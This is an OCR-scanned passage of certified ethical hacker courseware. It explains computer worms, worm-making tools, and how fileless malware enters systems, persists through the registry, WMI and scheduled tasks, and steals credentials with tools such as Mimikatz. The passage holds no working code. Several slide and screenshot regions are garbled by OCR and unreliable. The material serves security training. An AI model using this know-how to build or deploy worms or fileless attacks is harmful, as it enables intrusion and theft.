Attackers use w orm payloads to install backdoors repli cate itself and use memory but cannot attach
in infect ed computers, w hich turns t hem into itself to other programs
zombies and creates a botnet; these bot nets can
be used to perform further cyber attacks A Worm Spreads through the Infected Network

A wor m takes advant age of file or information


Worms:
transport features on computer systems and
8 Monero automatically spreads th rough th e infected
network but a virus does not
e Bondat
8 Beapy

Copyright C> by (C-CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

Computer Worms
Computer worms are standalone malicious programs that replicate, execute, and spread across
network connections independently without human intervention. Intruders design most worms
to replicate and spread across a network, thus consuming available computing resources and, in
turn, causing network servers, web servers, and individual computer systems to become
overloaded and stop responding. However, some worms also carry a payload to damage the
host system.
Worms are a subtype of viruses. A worm does not require a host to replicate; however, in some
cases, the worm' s host machine is also infected. Initially, black hat professionals treated worms
as a mainframe problem. Later, with the introduction of the Internet, they mainly focused on
and targeted Windows OS using the same worms by sharing them in via e-mail, IRC, and other
network functions.
Attackers use worm payloads to install backdoors on infected computers, which turns them
into zombies and creates a botnet. Attackers use these botnet s to initiate cyber-attacks. Some
of the latest computer worms are as follows:
■ Monera
■ Bondat
■ Beapy

Module 07 Page 1058 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

How is a Worm Different from a Virus?

Virus Worm
A worm infects a system by exploiting a
A virus infects a system by inserting itself
vulnerability in an OS or application by
into a file or executable program
replicating itself
It might delete or alter the content of
Typically, a worm does not modify any stored
files or change the location of files in the
programs; it only exploits the CPU and memory
system
It alters the way a computer system It consumes network bandwidth, system
operates without the knowledge or memory, etc., excessively overloading servers
consent of a user and computer systems
A virus cannot spread to other
A worm can replicate itself and spread using IRC,
computers unless an infected file is
Outlook, or other applicable mailing programs
replicated and sent to the other
after installation in a system
computers
A virus spreads at a uniform rate, as
A worm spreads more rapidly than a virus
programmed
Viruses are difficult to remove from Compared with a virus, a worm can be removed
infected machines easily from a system
Table 7.4: Difference between virus and worm

Module 07 Page 1059 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Worm Makers
11 • lnl.,M'I Wonn M.ffl Thong:- Ye-...,,, UO:- PublK [dibon - D X

Internet Worm Maker Thing


w--=
,------
P~:
r°""".._
..,_, rPm1.,__ r0w-Qeo.1e r;t:~~
Internet Worm Maker Thing is an
.....
f'AcW-P~OnOele

"'"- ,---:::i r-- r-- 00


* " r111ueSam,ot0ea~
111
open-source tool used to create worms ,------ , rD1Mti11~ 5co.nty
rlliMblesv,tanRa!»<t
raw.o,,NC032Tn:t r,._,.. Sctnt
lnft<;1u,Optio,-.,

- - ,------
rlnfec1s.1Fties
t hat can infect victim's drives, f iles, 'Hnien: "" r DMlll! N10t11:1nSeo.,tty n~,
r

r1nMtw.,,.,.

-·,------
1-1 f ' ~ K W i lll!Pa.,,i,,.ds rUinst.1111HortanSa'otlllldcnQ
c»wna,ofaclvalng~)4Dod,: rDsabll!MaaoSeanr,, r,-,.,,, r 1rttct\w fln
show m essages, and disable ant ivir us r,..,....,
r Q.idook.1v11...L.J r=""'-~
11Nlowa
software rlti!M[)wa
rDsabll!Rl.r'ICOl¥ffl'CI
r ...... ..,_, r - - ""-
rltd!\lnal'm

...
P'lnd.or:lelCI"'°"" rDisa1R._.rr
~Ptoit.:

~
r°""'r""~
r01MYoKotybo,-d
r Dsabll!v.\'ldowsUL,datit
rl'IOSearctie°"""81'1d
r==:-
r~M~
~
r..-- rs...>~&Jmns I rei..1anCode
This tool comes with a compiler by rcaq,loToEIIE~ I
r~~

-I
r_.., r 0ponw.t,pq 5ormka'ne,

wh ich you can easily convert your .,_.,,.,_ I .... ..,_,


I ,------
...... r-- r--
batch virus into an executable to evade
antivirus or for any other purpose
rG1ot>1111._.,s~
rl.ocol~try-lLc>
rl'tWoQonhltw.
r--
.... -· ra....11:1111,a.
Tc,,:t:

I
r
r~~--
ro.....Fw
,------
""'
r a...~ 1-
CU,EK£, ICO:

~·-"".I>
rAdd ToCo->RJ<t"'"'1u ~t°':.~'!NsProg.,.Ple.-

...,------
r si.1.u-.. Ow'IQO'M!MNIIPl,or,,Txt
re,g1insw1111 ~ Tn t:
r o-lll!al'dliel" r0w,g,ra.a.rnt h t t p : / ~~ a .
lfYou~MYtw,;AbcutWIS
r"""'._
r
r~s~
G,er-,StlrlLc>
r 01sat-.fld:l,er.~
I
r'"'cctDrivft ,------
Tnt (M.xaO...): l'rcq....-.QH$~t nill
Pro)KtS.,~AP\,v,,(Sft
~}.lhri:a.
raw.o,,Reg°""'"' rlod<Wofbt.111rn r0w,gew.,_. r ..Ll
Worm Makers rFr..,.;,s11r1Lc>
,,it.o,uu., r,._.,_
Cor,(raj pf t

..... """'' ,------


rOoodoodRe~
r 1tlU'ISWM>
r-- ..,_,

, ,, -· -~
rAdd To F -

-~
GcNr111fW.:,,,O

e Batch Wo rm Generator raw.oe~er~ r-- rCJIIJMono•


,------ II ;1
0r9&'-110n:
r-- ......
r "'-n.. I

*
e C++ Worm Generator r-- r&:=•OcMrlDadtd ,------
"'"
r
Copyright C> by (C-CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

Worm Makers
Worm makers are tools that are used to create and customi ze computer worms to perform
malicious tasks. These worms, once created, spread independently over networks and poison
ent ire net works. With the help of pre-defined options in t he worm makers, a worm can be
designed according to the task it is intended to execute.

Module 07 Page 1060 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Internet Worm Maker Thing


Internet Worm Maker Thing is an open-source tool used to create worms that can infect
a victim's drives and files, show messages, disable antivirus software, etc. This tool
comes with a compiler that can easily convert your batch virus into an executable to
evade antivirus software or for any other purpose.

r Activate Payloads On Date


LIU.: DD r-1"' yy
Day:
r r Blue Screen Of Death

i-1
Disable System Restore 111
r Oisable Wmows Socuritv r Chanoo N0032Toxt r Play. Sou,d
Infocbon Options:
r 1nr.ct aat Fies
OR
r Disable Norton Socurity Tolle:
r
C' Randomly Activate Pa~oads r l.rolstal Norton ~ t Blociono ~ - - - - Int.ct,,,,. Fies
OiMc.e of activatno pa)'k)llds: r Disable Macro Socurity
r LoopSould
r 1nr.ct 'Ibo -
! IN

r
I CHANCE

Hide Al Drives
rDlsableTask~
r
r
r
r
Disable Ru'1 Co.-.md
Disable si..tdo-Mi
Disable LoOOff r OJtlook Fu, , ....Ll
r
r =
Hide Desktop

Malware

OisabloWndows
Extras:
r HideVrusFies

D,sablt, Wndows Update


LIU.: r Fie Pfotedlon Pl.,gins
r Oisabloi<eybord r No s.arct, Conmand
r
r r Corn.,,t Antiwus r CustDm Code
r Comoi• To EXE 5'<>Port D,sablt,Mous,
r
Swap Maus, Buttons
r~COITl'Utor

I
Open Webpago s.nderName:
r Message Box
LIU.:
S,,,-•adno Options 1 Title:
Starti.,,: r J<kite s,,e-.
r Chanoo Drivo Icon
r Global R-!Jy Starti.,, r Chanoo IE Tolle Bar
r Delete • Fie DU, EXE, ICO: Index:
Text:
r Local Reo,!Jy Starti.,,
r Wrlogon Shel Hook
Path: jc:\Wrdow<V-,0, ' p
Icon: r Add To Context Menu If YoulhdTWs Progam Please
rstartAss.rv;ce r Chanoo Win Meda Play,, Txt
r r
V"ISit~On

r~starti.,,
3 Text:
Delete • Fold,r Chanoo Clock Text http://UUSteam.fal~tworic.com
If You Know Anyt!r,g About VBS
r OisabloR~t Path Text (Max a Chars): PfDg""'1WlQ """ s..,.,ort This
r Ge""man Starb.4> r Project By Making A Plug,, (S..
r Sparish Starti.,,
Ocsable Explore".exe r Open Cd Drives Roadme). Thane;,

r FronchStarti.,,
r Chanoo Reo Owner r Lock Workstation r Chanoo Walpapor r ~6 s~t .2..J
r Itaian Starti.,,
Owner: r Oowrioad File More? I Path Or LIU.: r Keyboard Disco
r
LIU.:

r Name:
Add To Favorites
II -•te Worm JI
r Chanoo Reo Or-tion CPU Monster

Oro«isation: Sa~As: r ChanooTme About Me 1


Heu Mn LIU.:

r Exerute -ded 1=1

Figure 7 .58: Screenshot of Internet Worm M aker Thing

Some worm makers are as follows:


■ Batch Worm Generator
■ C++ Worm Generator

Module 07 Page 1061 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

10#05: Explain Fileless Malware Concepts

Copynght O by EC-CH■CII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Fileless Malware Concepts


Nowadays, fileless malware is becoming a popular method of attack by cyber-criminals because
of the inconspicuous characteristics of such malware as well as its ability to evade common
security controls. As fileless malware can easily evade various security controls, organizations
need to focus on monitoring, detecting, and preventing malicious activities instead of using
traditional approaches such as scanning for malware through file signatures. This section
discusses various concepts related to fileless malware.

Module 07 Page 1062 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

What is Fileless Malware?

Fileless malware, also known as non-malware, infects legitimate software, applications, and other protocols
existing in the system to perform various malicious activities

It leverages any existing vulnerabilities to infect the system

It resides in the system's RAM. It injects malicious code into the running processes such as Microsoft Word,
Flash, Adobe PDF Reader, Javascript, and PowerShell

Reasons for using fileless malware Fileless Propagation Techniques


in cyber attacks: used by attackers:
e Stealthy in nature - Exploits legitimate system e Phishingemails e Maliciouswebsites
tools e Legitimate applications e Registry manipulation
e Living-off-the-land - Exp loits default system tools e Native applications e Memory code injection
8 Trustworthy - Uses tools that are frequently used e Infection through lateral e Script-based Injection
and trusted movement

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

What is Fileless Malware?


Fileless malware, also called non-malware, infects legitimate software, applications, and other
protocols existing in the system to perform various malicious activities. This type of malware
leverages existing vulnerabilities to infect the system. It generally resides in the system's RAM.
It injects malicious code into running processes such as Microsoft Word, Flash, Adobe PDF
Reader, Javascript, PowerShell, .NET, malicious Macros, and Windows Management
Instrumentation (WMI) .
Fileless malware does not depend on files and leaves no traces, thereby making it difficult to
detect and remove using traditional anti-malware solutions. Therefore, such malware is highly
resistant to computer forensics techniques. It mostly resides in volatile memory locations such
as running processes, system registry, and service areas. Once the fileless malware gains access
to the target system, it can exploit system administration tools and processes to maintain
persistence, escalate privileges, and move laterally across the target network. Attackers use
such malware to steal critical data from the system, install other types of malware, or inject
malicious scripts that automatically execute with every system restart to continue the attack.
The various reasons for using fileless malware in cyber-attacks are as follows:
■ Stealth : Fileless malware exploits legitimate system tools; hence, it is extremely difficult
to detect, block, or prevent fileless attacks.
■ LOL (Living-off-the-land): System tools exploited by fileless malware are already
installed in the system by default. An attacker does not need to create and install
custom tools on the target system .
■ Trustworthy: The system tools used by fileless malware are the most frequently used
and trusted tools; hence, security tools incorrectly assume that such tools are running
for a legitimate purpose.

Module 07 Page 1063 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Fileless Techniques used by Attackers


• Phishing emails: Attackers use phishing emails embedded with malicious links or
downloads, which, when clicked, inject and run malicious code in the victim's memory.
• Legitimate applications: Attackers exploit legitimate system packages installed in the
system, such as Word, and JavaScript, to run the malware.
• Native applications: Operating systems such as Windows include pre-installed tools
such as PowerShell, Windows Management Instrumentation (WMI). Attackers exploit
these tools to install and run malicious code.
• Infection through lateral movement: Once the fileless malware infects the target
system, attackers use this system to move laterally in the network and infect other
systems connected to the network.
■ Malicious websites: Attackers create fraudulent websites that appear legitimate. When
a victim visits such a website, it automatically scans the victim' s system to detect
vulnerabilities in plugins that can be exploited by the attackers to run malicious code in
the browser's memory.
■ Registry manipulation: Attackers use this technique to inject and run malicious code
directly from the Windows registry through a legitimate system process. This helps
attackers to bypass UAC, application whitelisting, etc., and also infect other running
processes.
• Memory code injection: Attackers use this technique to inject malicious code and
maintain persistence in the process memory of the running process with the aim of
propagating and re-injecting it into other legitimate system processes that are critical
for normal system operation . This helps in bypassing regular security controls. The
various code injection techniques used by attackers include local shellcode injection,
remote thread injection, process hallowing, etc.
• Script-based injection: Attackers often use scripts in which the binaries or shellcode are
obfuscated and encoded. Such script-based attacks might not be completely fileless. The
scripts are often embedded in documents as email attachments.

Module 07 Page 1064 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Ethical Hacker
Malware Threats

Taxonomy of Fileless Malware Threats


Type Ill
Files required to
achieve fileless
persistence

Execution/Injection
Exploit
Type II
No files written on
Taxonomy disk, but some file s
offileless used indirectly
threats

Type I
No file activity
performed
Hardware https://docs.microsoft.com
Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Taxonomy of Fileless Malware Threats


Source: https://docs.microsoft.com
As shown in the figure below, fileless malware threats are divided into different categories:

Type Ill
Files required to
achieve fileless
persistence Document

Java
Execution/Injection
Exploit f\\.l

Type II
No files written on
Taxonomy d isk, but some files
of fileless u sed indirectly
threats

Type I
No file activity
performed
Hardware
Figure 7.59: Taxonomy of a fileless malware threats

Module 07 Page 1065 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Fileless malware can be categorized based on their point of entry, i.e., how the malware creates
an entry point into the target system. Fileless malware enters the target system through an
exploit or compromised hardware or by the normal execution of applications or scripts.
According to the above categorization, fileless malware threats are of three types based on
how much evidence they leave on the victim's machine:
■ Type 1: No File Activity Performed

This type of malware never requires writing a file onto the disk. An example of such an
infection is receiving malicious packets that exploit a vulnerability in a target host that
automatically installs a backdoor in the kernel memory. Another example may involve
malicious code embedded within the compromised device's firmware. Anti-malware
solutions are not capable of checking a device's firmware. Hence, it is extremely difficult
to detect and prevent such threats.
■ Type 2: Indirect File Activity

This type of malware achieves fileless presence on the target machine using files. For
example, an attacker can inject a malicious PowerShell command into the WMI
repository to configure a filter that executes periodically.
■ Type 3: Required Files to Operate

This type of malware requires files to operate, but it does not execute attacks from
those files directly. For example, an attacker exploits a document with an embedded
macro, Java/Flash file, or EXE file to inject malicious payloads into the target host and
then maintains persistence without using any files.
Classification of file less malware threats based on their point of entry:
■ Exploits

Exploits can be either file-based or network-based . File-based malware exploits the


system executables, Flash, Java, documents, etc., to run a shellcode that injects a
malicious payload into the memory. This type of malware uses files to make an initial
entry into the target machine. Network-based malware exploits vulnerabilities in
network communication protocols such as SMB to deliver malicious payloads.
■ Hardware

Device-based malware infects the firmware residing on network cards and hard disks to
deliver the malicious payload. CPU-based malware exploits firmware used for
management operations to execute malicious code within the CPU . USB-based malware
rewrites the USB firmware with malicious code that directly interacts with the operating
system and installs malicious payload on the target machine. Similarly, fileless malware
can also exploit BIOS-based firmware or perform hypervisor-based attacks that exploit
virtual machines.

Module 07 Page 1066 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

■ Execution and Injection

This type of malware can be file-based, macro-based, script-based, or disk-based. File-


based malware exploits executables, DLLS, LNK, files, etc., to inject a malicious payload
into the process memory or other legitimate running processes. Using macro-based
malware, attackers trick victims into clicking malicious links that execute macros
automatically to inject a malicious payload into the process memory. Attackers
implement script-based malware if they gain an initial footprint on the target system.
The attacker injects mal icious payload by running a malicious script on the command
prompt. Disk-based malware rewrites the boot record with malicious code, which, when
executed, gains access and installs the malicious payload.

Module 07 Page 1067 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

How does Fileless Malware Work?

Achieving
Point of Entry Code Execution Persistence
Objectives

Code Injection
Memory Exploits Registry Reconnaissance
Ex: Process hollowing, reflective
DOL injection

l
Malicious Website Credential Harvesting
Mal;dou, code Windows
running directly
in the memory
Management
Instrumentation
Phishing Mail
t Data Exfiltration

Script-Based

Using legitimate tools to load


Malicious Document scri pts: Powe rShell, CScript, Scheduled Task Cyber Espionage
VBscript

•I
!
Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

How does Fileless Malware Work?


A fileless malware attack generally consists of several stages, as shown in the figure below:

Achieving
Point of Entry Code Exe cution Persist ence
Objectives

Code Injection
Memory Exploits Registry Reconnaissance
E•: Process hollowing, reflective
DDL injection

Malicious Website
Credent ial Harvesting
Mallclous code Windows
running dir ectly
In the memory
Management
Instrumentation
Phishing Mail
t Data Exfiltration

Script-Based

Using legitimate tools to load


Malicious Document 5<:ripU: PowerShell, CScript, Scheduled Task Cyber Espionage
VBscript

Figure 7.60: Phases of a fileless malware attack

■ Point of Entry
o Memory Exploits: Fileless malware uses a variety of techniques to inject and
execute itself in the process memory of a legitimate system process. It exploits the
memory and privileges of whitelisted system tools such as Windows Management
Instrumentation (WMI), PowerShell, Command .exe, PsExec, etc.

Module 07 Page 1068 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

o Malicious Website: Fileless threats may also arrive from exploit-hosting websites
that appear to be legitimate business pages. When the user visits the page, the
exploit kit starts scanning for vulnerabilities, such as any outdated Flash or Java
plugins. If successful, it invokes Windows native tools such as PowerShell to
download and execute the payload directly in the memory without writing any files
to the disk.
Fileless malware can also exploit script-based programs such as PowerShell, Macros,
JavaScript, and VBScript. The initial script might be used for code injection or to
connect to other malicious sites to download more binaries/scripts to deliver the
actual payload .
o Phishing Email/Malicious Documents : Attackers can also embed malicious macros
in the form of VBScript or JavaScript in a Microsoft Office document (Word,
PowerPoint, Excel} or PDF, and further use social engineering techniques to get
users to run the macros on their systems. Here, the attack initiates with a document
or file but transforms into a fileless threat when the malicious script is executed
from memory using whitelisted tools such as PowerShell.
• Code Execution

o Code Injection: Fileless threats can use various code injection techniques such as
process hollowing and reflective DLL injection, which directly load the shellcode into
the memory without writing any file to the disk.
o Script-based Injection: Fileless malware often comes embedded in a document as
an email attachment. Once the document is opened, the malicious script runs in the
memory, thus turning into a fileless operation. The script then invokes whitelisted
applications, such as PowerShell, mshta.exe, JavaScript, WScript, and VBscript, to
connect to one or more malicious websites to download additional scripts to deliver
the actual payload. All these operations occur in memory, which makes it difficult for
traditional anti-malware solutions to detect them .
• Persistence

In general, fileless malware is not persistent in nature. As it is memory-based, restarting


the system would remove the malicious code from memory and stop the infection.
However, depending on the goal of the attacker, malicious scripts can be stored in
various Windows built-in tools and utilities such as Windows registry, WMI, and
Windows Task Scheduler, and be set to run even after a system reboot.
o Windows Registry: Attackers can store the malicious scripts in the Windows
Autostart registry keys so that they are loaded and executed whenever the machine
is restarted.
o Windows Management Instrumentation (WMI): Fileless malware also abuses WMI,
which is commonly used for automating syst em administration tasks, to achieve and
maintain persi stence. In this case, attackers store the malicious scripts in the WMI
repositories that are periodically triggered via WMI bindings.

Module 07 Page 1069 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

o Windows Task Scheduler: Using a task scheduler, attackers can set malicious scripts
to be automatically triggered and executed in a chosen time interval.
■ Achieving Objectives
By maintaining persistence, attackers bypass security solutions and achieve a variety of
objectives, such as data exfiltration, credential stealing, reconnaissance, and cyber-
spying, on the target systems and network.

Module 07 Page 1070 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Launching Fileless Malware through Document Exploits and


In-Memory Exploits
Document Exploits In-Memory Exploits
Th e attacker can t rick users into downloadi ng a document , Attackers inject a malicious payload int o t he RAM t hat ta rgets
archives, or any attract ive fi les cons ist ing of malicious macro t he legitim ate process without leaving any footprints
codes
Th e m alicious macro launches VBA or JavaScript to ex ploit th e Att ackers exploit different Windows A Pis such as WM I, PSExec,
or PowerShell to gain access over the process memory of a

-:
Windows defa ult tools such as PowerShell t o contin ue the
legit imate process
chain of infection

0 .....................~ ~
G
Macro launches Eternal Blue
In-memory Exploit

SMB1 LSASS.EXE
VBA or Jav aScript

Victim opens a Document runs Memory injection


malicious document malicious macro
'ii ( lnvoke-ReflectiveDlllnjection

Suspicious activity ;:, Cleartext Passw ords


.....•······
M alicious script exploits
Mimikatz ..... ~ LSASS.EXE ···•••·····.•:a.
PowerShell t o run payload
and continue infection Password Hashes

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Launching Fileless Malware through Document Exploits


An attacker can trick users into downloading documents, archives, PDFs, or other attractive files
consisting of malicious macro code, which are sent via phishing emails or accepted via social
engineering tricks. Once the file is opened, the malicious macro launches VBA (VisualBasic) or
JavaScript to exploit the Windows default tools such as PowerShell. Then, the malicious script
uses PowerShell to run add itional code or payload to continue the infection without being
traced .
The malicious script can either exploit PowerShell to get access to local storage files to run the
executables or simply execute the malicious payload in memory. Once the malicious code or
payload inside the document is successfully executed, it disguises itself as a legitimate dropper
or down loader to continue the chain of infection that can be leveraged by an attacker to launch
further attacks.
A fileless malware can be launched through document exploits in the following steps :
■ The victim is tricked into downloading/running a malicious document
■ The document runs a malicious macro
■ The malicious macro launches VBA or JavaScript
■ The malicious script exploits PowerShell to run additional code (payload) to spread the
infection to other running processes or systems

Module 07 Page 1071 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

··········> ···················3>

Victim opens a Document runs Macro launches Malicious script exploits


malicious document malicious macro VBA or JavaScript PowerShell to run payload
and continue infection

Figure 7.61: Launching Fileless Malware through Document Exploits

Launching Fileless Malware through In-Memory Exploits


Attackers can inject malicious payload inside the running memory (RAM) that targets legitimate
processes without leaving any footprints. Such intrusion is extremely difficult to be detected by
any antivirus software, as the payload is not stored in local disks but is directly executed from
memory. Attackers exploit different APls or Windows admin tools such as Windows
Management Instrumentation (WMI), PSExec, and PowerShell to gain access to the process
memory of a legitimate process. Attackers employ a reflective Dynamic Link Library (DLL)
method to load a malicious script into a host-side process that resists the writing of DLLs to the
disk.
EternalBlue is a type of in-memory exploit that can leverage the flaws in the Windows file
sharing protocol known as Server Message Block (SMB 1). This client-server communication
protocol (SMB 1) allows an attacker to read access services, applications etc. The attacker then
targets the local security authority subsystem service (lsass.exe) file, injecting malicious code.
The file (lsass.exe) is designed to handle login-logout validating user credentials, and it also
performs other critical operations. The attacker exploits this file to launch further attacks while
evading security using tools such as Mimikatz to access the details from memory.

In-memory Exploit

EternalBlue ······:> SMBl ······:> LSASS.EXE

Memory injection

lnvoke-ReflectiveDlllnjection

••":'f Cleartext Passwords


Suspicious activity
...
.....•·
Mimikatz ·· ·· · ► LSASS.EXE
····•...
····~ Password Hashes
Figure 7.62: Delivering payloads using in-memory exploits

Module 07 Page 1072 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

Launching Fileless Malware through Script-based Injection

Fileless attacks are also performed using the scripts w here binaries and shellcodes are embedded,
obfuscated, and compiled to avoid file creations on the disk

Scripts allow attackers to communicate and infect the applications or operating syst ems without being
traced

r·········» ························~
Loader consisting
malicious scripts, files, ...... ,
Embedded code I d·
Pp~::es~n ~ ···············:>
~i -
exe cutables, etc. memory iii
;.......... :> :!: . ..... . .. . . . .. . . Executes the code
directly from memory

Downloaded code

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Launching Fileless Malware through Script-based Injection


Fileless attacks are also performed using scripts whereby binaries and shellcode are embedded,
obfuscated, and compiled to avoid file creation on the disk. Scripts allow attackers to
communicate with and infect applications or operating systems without being traced. They are
also useful in finding design flaws and vulnerabilities in the applications. Scripts are usually
flexible, and they can be executed from any files or directly from memory. The attacker
leverages this feature along with the vulnerabilities in a system to inject malicious scripts
directly into the memory via PowerShell to evade detection. Once the attacker gains control of
the target system, he/she can execute these scripts directly on a command-line interface from a
remote location to spread infections and initiate other malicious activities. Many classical
fileless threats such as KOVET, POWMET, and FAREIT have used malicious scripts to spread
malware.

.........................
v

~;~~~ • i
Loader consisting Embedded code
malicious scripts, files,
executables, etc.
• • ••••I
--------------~I I
A
~ .. . ....................: Executes the code
""' directly from memory

Downloaded code

Figu re 7.63: Launching a fileless malware t hrough script-based injection

Module 07 Page 1073 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Launching Fileless Malware by Exploiting System Admin Tools

Attackers exploit default system admin tools such as Certutil, WMIC, and Regsvr32 to launch fileless infections

Attackers use Certutil and Windows Management Interface Command (WMIC) utilities to steal information

They exploit command-line tools such as Regsvr32 , and runddl32 to run malicious DLLs

Disk Steal credentials


using modifie d tools

,ti! . . . . . ... . . . . . . . .
modification

> ........................),

Send copy Encrypt file w ith no


Execution via PsExec or Runs itself using
remotely change in extension
WM IC or EternalBlue rundll32.exe

0
Reboot triggered Display
after encryption or Ransom note
by schedule d task

•' Copynght O by lC~HICII All Rights Reserved Reproduction is Stnctly Prohibited

Launching Fileless Malware by Exploiting System Admin Tools


The attacker exploits default system admin tools, features, and other utilities of a system to
spread fileless infections. Attackers use Certutil and Windows Management Interface Command
(WMIC) utilities to steal the information. They also exploit command-line tools such as
Microsoft registered server (Regsvr32) and runddl32, to run malicious DLLs. The exploited
command lines enable the attacker to install altered versions of pen testing tools to gain
complete access to the target system. The modified tools are used to access payloads, maintain
persistence, steal and export information, and expand malware. As they appear to be authentic
tools, they can evade the security mechanism of any traditional antivirus software. An attacker
can exploit system tools such as remote desktops, command-oriented tools such as regsvr32,
PowerShell, rundll32, certUtil, and WMIC, and pen testing tools such as Mimikatz, and Cobalt
strike. Using this technique, attackers can steal critical information from the system, such as
credentials, to launch further attacks.

Disk Steal cr edentials


modification using modified tools

~
····························> . ... . .. . .......... ... .:i,,.

.I
Execution via PsExec or Runs itself using
Send copy Encrypt file with no
r emotely change in extension
WMIC or EternalBlue rundll3 2.exe

0
Reboot triggered Display
after encryption or Ransom not e
by scheduled task

Figure 7.64: Launching a fileless malware by abusing sysadmin too ls

Module 07 Page 1074 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Launching Fileless Malware through Phishing ~: ~~


Attackers commonly use social engineering techniques such as phishing to spread fileless malware to the
target systems
Fileless malware exploits vulnerabi lities in system tools to load and run malicious payloads on the victim's
machine to compromise the sensitive information stored in the process memory

Point of Entry Executing Code

Attacker sends a phishing Victim opens the e mail, dicks ........ ... ·:>- Website s cans victim's Flash opens Pow erShell for
email to the victim embedde d on t he malicious link and is machine for unpatched passing instructions through
with malicious link redirected to fake website flash command line

Compromising Data Maintaining Persistence

The Payload can now Autostart registry key is Once downloa ded, the script PowerShell downloads
exfiltrate data and perform created for st oring the ~········ ... containing malicious payload malicious script from
other malicious activities malicious script in t he is executed in memory command-and-control server
victim's system

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Launching Fileless Malware through Phishing


Attackers commonly use social engineering techniques such as phishing to spread fileless
malware to the target systems. They send spam emails embedded with malicious links to the
victim. When the victim clicks on the link, he/she will be directed to a fraudulent website that
automatically loads Flash and triggers the exploit. Furthermore, the fileless malware scans the
target system for vulnerabilities in system tools such as PowerShell, WMI, and browser Java
plug-ins. The malware exploits the identified vulnerability to download and run the malicious
payload on the victim's machine and compromises the sensitive information stored in the
process memory. Fileless threats can also maintain persistence by creating Autostart registry
entries depending on the goal of the attacker.
Steps followed by the attacker to launch fileless malware through phishing

- o Attacker sends a phlshlng


Point of Entry

Victim opens the email, dicks Website scans victim's


Executing Code

Flash opens PowerShell for


email to the victim e mbedded on the malicious link and Is
..•....... ·:> machine for unpatched ···········:> passing Instructions through
with malicious link redirected to fake website flash command line

Compromising Data Maintaining Pe rsis tence


_ _ _VI
_: -0 ----.
The Payload can now
exflltrate data and perform
other malicious activities
Autostart regis try key Is
created for storing the
malicious script In the
J... ..... Once downloaded, the script
containing mallclous payload
Is executed In memory
,c{•• • • • • • • •
Powe rShell downloads
malicious script from
command-and-control server
victim's system

Figure 7.65: Launching a fileless malware through phishing

Module 07 Page 1075 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ The attacker sends a phishing email to the victim, embedded with a malicious link
■ When the victim opens the email and clicks on the malicious link, the victim is
automatically redirected to a fake website
■ The fake website scans for vulnerabilities in the system, such as outdated Flash, to
trigger the exploit
■ Now, the fileless malware exploits system tools such as PowerShell to load and run the
malicious payloads in memory. PowerShell downloads the malicious payloads from a
remote command-and-control server
■ The Autostart registry key is created for storing the malicious script in the victim's
system to maintain persistence
